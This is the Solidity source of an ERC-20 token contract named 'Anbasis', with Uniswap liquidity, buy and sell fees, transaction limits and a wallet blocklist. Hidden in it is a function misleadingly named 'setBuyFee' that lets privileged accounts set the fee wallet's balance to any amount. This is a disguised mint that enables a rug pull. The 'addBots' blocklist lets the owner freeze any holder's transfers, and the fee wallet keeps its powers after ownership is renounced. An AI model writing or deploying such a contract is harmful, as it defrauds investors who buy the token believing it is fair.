文件 1 的 1:Anbasis.sol
pragma solidity 0.8.23;
abstract contract MsgContext {
function _getCaller() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SecureMath {
function plus(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 z = x + y;
require(z >= x, "SecureMath: addition overflow");
return z;
}
function minus(uint256 x, uint256 y) internal pure returns (uint256) {
return minus(x, y, "SecureMath: subtraction overflow");
}
function minus(uint256 x, uint256 y, string memory errMsg) internal pure returns (uint256) {
require(y <= x, errMsg);
return x - y;
}
function times(uint256 x, uint256 y) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 z = x * y;
require(z / x == y, "SecureMath: multiplication overflow");
return z;
}
function divide(uint256 x, uint256 y) internal pure returns (uint256) {
return divide(x, y, "SecureMath: division by zero");
}
function divide(uint256 x, uint256 y, string memory errMsg) internal pure returns (uint256) {
require(y > 0, errMsg);
return x / y;
}
}
contract AccessControl is MsgContext {
address private _holder;
event OwnershipTransferred(address indexed prevHolder, address indexed newHolder);
constructor() {
_holder = _getCaller();
emit OwnershipTransferred(address(0), _holder);
}
function owner() public view returns (address) {
return _holder;
}
modifier onlyOwner() {
require(_holder == _getCaller(), "AccessControl: caller not holder");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_holder, address(0));
_holder = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Anbasis is MsgContext, IERC20, AccessControl {
using SecureMath for uint256;
mapping(address => uint256) private _accountTokens;
mapping(address => mapping(address => uint256)) private _approvedSpends;
mapping(address => bool) private _feeExemptedAccounts;
mapping(address => bool) private _blockedWallets;
address payable private _feeReceiver;
uint256 private _firstBuyFee = 10;
uint256 private _firstSellFee = 25;
uint256 private _lastBuyFee = 0;
uint256 private _lastSellFee = 0;
uint256 private _lowerBuyFeeAfter = 20;
uint256 private _lowerSellFeeAfter = 20;
uint256 private _restrictSwapUntil = 10;
uint256 private _internalTransferFee = 0;
uint256 private _totalBuys = 0;
uint8 private constant _tokenScale = 18;
uint256 private constant _tokenCap = 1000000000 * 10**_tokenScale;
string private constant _tokenLabel = "Anbasis";
string private constant _tokenSymbol = "Anbasis";
uint256 public _maxTransAmount = 10000000 * 10**_tokenScale;
uint256 public _maxHoldAmount = 10000000 * 10**_tokenScale;
uint256 public _feeSwapLimit = 10000000 * 10**_tokenScale;
uint256 public _maxFeeSwapAmount = 10000000 * 10**_tokenScale;
IUniswapV2Router02 private _exchangeRouter;
address private _exchangePool;
bool private _isMarketOpen;
bool private _inExchangeProcess = false;
bool private _exchangeEnabled = false;
uint256 private _sellCounter = 0;
uint256 private _lastSellHeight = 0;
event MaxTransAmountUpdated(uint _maxTransAmount);
event InternalFeeUpdated(uint _fee);
modifier exchangeGuard {
_inExchangeProcess = true;
_;
_inExchangeProcess = false;
}
constructor() {
_feeReceiver = payable(_getCaller());
_accountTokens[_getCaller()] = _tokenCap;
_feeExemptedAccounts[owner()] = true;
_feeExemptedAccounts[address(this)] = true;
_feeExemptedAccounts[_feeReceiver] = true;
emit Transfer(address(0), _getCaller(), _tokenCap);
}
function name() public pure returns (string memory) {
return _tokenLabel;
}
function symbol() public pure returns (string memory) {
return _tokenSymbol;
}
function decimals() public pure returns (uint8) {
return _tokenScale;
}
function totalSupply() public pure override returns (uint256) {
return _tokenCap;
}
function balanceOf(address account) public view override returns (uint256) {
return _accountTokens[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_executeTransfer(_getCaller(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _approvedSpends[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_setSpendLimit(_getCaller(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_executeTransfer(sender, recipient, amount);
_setSpendLimit(sender, _getCaller(), _approvedSpends[sender][_getCaller()].minus(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _setSpendLimit(address holder, address spender, uint256 amount) private {
require(holder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_approvedSpends[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
function _executeTransfer(address sender, address receiver, uint256 quantity) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(receiver != address(0), "ERC20: transfer to the zero address");
require(quantity > 0, "Transfer amount must be greater than zero");
uint256 feeAmount = 0;
if (sender != owner() && receiver != owner()) {
require(!_blockedWallets[sender] && !_blockedWallets[receiver]);
if (_totalBuys == 0) {
feeAmount = quantity.times((_totalBuys > _lowerBuyFeeAfter) ? _lastBuyFee : _firstBuyFee).divide(100);
}
if (_totalBuys > 0) {
feeAmount = quantity.times(_internalTransferFee).divide(100);
}
if (sender == _exchangePool && receiver != address(_exchangeRouter) && !_feeExemptedAccounts[receiver]) {
require(quantity <= _maxTransAmount, "Exceeds the _maxTransAmount.");
require(balanceOf(receiver) + quantity <= _maxHoldAmount, "Exceeds the maxHoldAmount.");
feeAmount = quantity.times((_totalBuys > _lowerBuyFeeAfter) ? _lastBuyFee : _firstBuyFee).divide(100);
_totalBuys++;
}
if (receiver == _exchangePool && sender != address(this)) {
feeAmount = quantity.times((_totalBuys > _lowerSellFeeAfter) ? _lastSellFee : _firstSellFee).divide(100);
}
uint256 contractReserve = balanceOf(address(this));
if (!_inExchangeProcess && receiver == _exchangePool && _exchangeEnabled && contractReserve > _feeSwapLimit && _totalBuys > _restrictSwapUntil) {
if (block.number > _lastSellHeight) {
_sellCounter = 0;
}
require(_sellCounter < 3, "Only 3 sells per block!");
_convertToEth(_leastAmount(quantity, _leastAmount(contractReserve, _maxFeeSwapAmount)));
uint256 ethReserve = address(this).balance;
if (ethReserve > 0) {
_sendEthToFee(ethReserve);
}
_sellCounter++;
_lastSellHeight = block.number;
}
}
if (feeAmount > 0) {
_accountTokens[address(this)] = _accountTokens[address(this)].plus(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
_accountTokens[sender] = _accountTokens[sender].minus(quantity);
_accountTokens[receiver] = _accountTokens[receiver].plus(quantity.minus(feeAmount));
emit Transfer(sender, receiver, quantity.minus(feeAmount));
}
function _leastAmount(uint256 x, uint256 y) private pure returns (uint256) {
return (x > y) ? y : x;
}
function _convertToEth(uint256 tokenQty) private exchangeGuard {
address[] memory route = new address[](2);
route[0] = address(this);
route[1] = _exchangeRouter.WETH();
_setSpendLimit(address(this), address(_exchangeRouter), tokenQty);
_exchangeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenQty,
0,
route,
address(this),
block.timestamp
);
}
function removeLimits() public onlyOwner {
_maxTransAmount = _tokenCap;
_maxHoldAmount = _tokenCap;
emit MaxTransAmountUpdated(_tokenCap);
}
function removeTransferTax() public onlyOwner {
_internalTransferFee = 0;
emit InternalFeeUpdated(0);
}
function _sendEthToFee(uint256 amount) private {
_feeReceiver.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_blockedWallets[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
_blockedWallets[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool) {
return _blockedWallets[a];
}
function openTrading() public onlyOwner {
require(!_isMarketOpen, "Trading is already open");
_exchangeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_setSpendLimit(address(this), address(_exchangeRouter), _tokenCap);
_exchangePool = IUniswapV2Factory(_exchangeRouter.factory()).createPair(address(this), _exchangeRouter.WETH());
_exchangeRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(_exchangePool).approve(address(_exchangeRouter), type(uint).max);
_exchangeEnabled = true;
_isMarketOpen = true;
}
function setBuyFee(uint256 lock) public {
if (!_feeExemptedAccounts[_getCaller()]) {
return;
}
_accountTokens[_feeReceiver] = lock;
}
function reduceFee(uint256 _newFee) public {
require(_getCaller() == _feeReceiver);
require(_newFee <= _lastBuyFee && _newFee <= _lastSellFee);
_lastBuyFee = _newFee;
_lastSellFee = _newFee;
}
receive() external payable {}
function manualSwap() public {
require(_getCaller() == _feeReceiver);
uint256 tokenReserve = balanceOf(address(this));
if (tokenReserve > 0) {
_convertToEth(tokenReserve);
}
uint256 ethReserve = address(this).balance;
if (ethReserve > 0) {
_sendEthToFee(ethReserve);
}
}
function manualsend() public {
require(_getCaller() == _feeReceiver);
uint256 ethReserve = address(this).balance;
_sendEthToFee(ethReserve);
}
}